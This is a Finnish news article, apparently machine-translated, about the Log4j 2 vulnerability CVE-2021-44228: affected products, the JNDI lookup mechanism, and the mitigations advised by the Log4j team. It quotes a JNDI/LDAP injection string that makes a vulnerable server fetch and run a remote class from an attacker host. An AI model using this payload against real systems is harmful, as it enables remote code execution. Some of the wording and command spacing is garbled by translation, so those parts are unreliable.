Äskettäin se julkaisi uutisen, että Apache Log4j 2:ssa havaittiin kriittinen haavoittuvuus, jota luonnehditaan suosituksi kehykseksi Java-sovellusten rekisterin järjestämiseen, mikä mahdollistaa mielivaltaisen koodin suorittamisen, kun rekisteriin kirjoitetaan erityisesti muotoiltu arvo muodossa "{jndi: URL}".
Haavoittuvuus Se on huomionarvoista, koska hyökkäys voidaan suorittaa Java-sovelluksissaNe tallentavat arvoja, jotka on saatu ulkoisista lähteistä, esimerkiksi näyttämällä ongelmallisia arvoja virheilmoituksissa.
On havaittu, että lähes kaikki projektit, jotka käyttävät kehyksiä, kuten Apache Struts, Apache Solr, Apache Druid tai Apache Flink, vaikuttavat, mukaan lukien Steam, Apple iCloud, Minecraft-asiakkaat ja palvelimet.
Haavoittuvuuden odotetaan johtavan massiivisiin hyökkäysten aaltoon yrityssovelluksiin, jotka toistavat Apache Struts -kehyksen kriittisten haavoittuvuuksien historiaa, mikä on karkea arvio, jota käytetään 65 prosentissa Fortune 100 -verkkosovelluksista. Luettelo yrityksen verkkosovelluksista sisälsi jo tallennetut yritykset etsiä verkosta haavoittuvia järjestelmiä.
Haavoittuvuus mahdollistaa todentamattoman koodin etäsuorittamisen. Log4j 2 on Apache Foundationin kehittämä avoimen lähdekoodin Java-lokikirjasto. Log4j 2:ta käytetään laajasti monissa sovelluksissa ja se on riippuvuutena läsnä monissa palveluissa. Näitä ovat yrityssovellukset sekä lukuisat pilvipalvelut.
Randorin hyökkäystiimi on kehittänyt toiminnallisen hyväksikäytön ja onnistunut hyödyntämään tätä haavoittuvuutta asiakasympäristöissä osana hyökkäävää tietoturva-alustaa.
Haavoittuvuuteen voidaan päästä käsiksi useilla sovelluskohtaisilla tavoilla. Itse asiassa mikä tahansa skenaario, joka sallii etäyhteyden toimittaa mielivaltaisia tietoja, joita Log4j-kirjastoa käyttävä sovellus kirjoittaa lokitiedostoihin, on alttiina hyväksikäytölle. Tätä haavoittuvuutta hyödynnetään erittäin todennäköisesti luonnossa, ja se vaikuttaa todennäköisesti tuhansiin organisaatioihin. Tämä haavoittuvuus muodostaa merkittävän todellisen riskin järjestelmille, joita se koskee.
Ongelmaa pahentaa se, että toiminnallinen hyväksikäyttö on jo julkaistu, mm.Mutta korjauksia vakaille haaroille ei ole vielä luotu. CVE-tunnistetta ei ole vielä määritetty. Ratkaisu sisältyy vain log4j-2.15.0-rc1-testihaaraan. Haavoittuvuuden estämiseksi on suositeltavaa asettaa parametrin Log4j2.formatMsgNoLookups arvoksi tosi.
Ongelma se johtui siitä, että Log4j 2 tukee erikoismaskien «{}» käsittelyä lokiriveissä, jossa JNDI-kyselyjä voidaan suorittaa (Javan nimeäminen ja hakemistoliittymä).
Analysoidessaan CVE-2021-44228:a Randori on määrittänyt seuraavan:
Laajalti käytettyjen yritysohjelmistojen oletusasennukset ovat haavoittuvia.
Haavoittuvuutta voidaan hyödyntää luotettavasti ja ilman todennusta.
Haavoittuvuus vaikuttaa useisiin Log4j 2 -versioihin.
Haavoittuvuus mahdollistaa koodin etäsuorittamisen, kun käyttäjä suorittaa sovelluksen kirjaston avulla.
Hyökkäys tiivistyy merkkijonon välittämiseen korvauksella "$ {jndi: ldap: //example.com/a}", jonka käsittely Log4j 2 lähettää LDAP-pyynnön Java-luokan polulle attacker.com-palvelimelle. . Hyökkääjän palvelimen palauttama polku (esimerkiksi http://example.com/Exploit.class) ladataan ja suoritetaan nykyisen prosessin yhteydessä, jolloin hyökkääjä voi suorittaa mielivaltaisen koodin järjestelmässä oikeuksilla nykyisestä sovelluksesta.
Lopuksi mainitaan se jos poikkeavuuksia löytyy, on suositeltavaa olettaa, että tämä on aktiivinen tapahtuma, että se on vaarantunut, ja reagoida vastaavasti. Päivittäminen Log4j 2:n tai kyseisten sovellusten korjattuihin versioihin poistaa tämän haavoittuvuuden. Randori suosittelee kaikkia organisaatioita, joiden se uskoo voivan vaikuttaa, päivittämään kiireellisesti korjattuun versioon.
Apache Log4j -tiimin viimeisimmässä päivityksessä suosittelemme organisaatioille seuraavaa
- Päivitä versioon Log4j 2.15.0
- Niille, jotka eivät voi päivittää versioon 2.15.0: Versioissa> = 2.10 tätä haavoittuvuutta voidaan lieventää asettamalla log4j2.formatMsgNoLookup-järjestelmäominaisuuden tai LOG4J_FORMAT_MSG_NO_LOOKUPS-ympäristömuuttujan arvoksi tosi.
- Versioissa 2,0-beta9 - 2.10.0 lievennyksenä on poistaa JndiLookup-luokka luokkapolulta: zip -q -d log4j-core - *. Jar org / apache / logging / log4j / core / lookup /JndiLookup.class.
lähde: https://www.lunasec.io/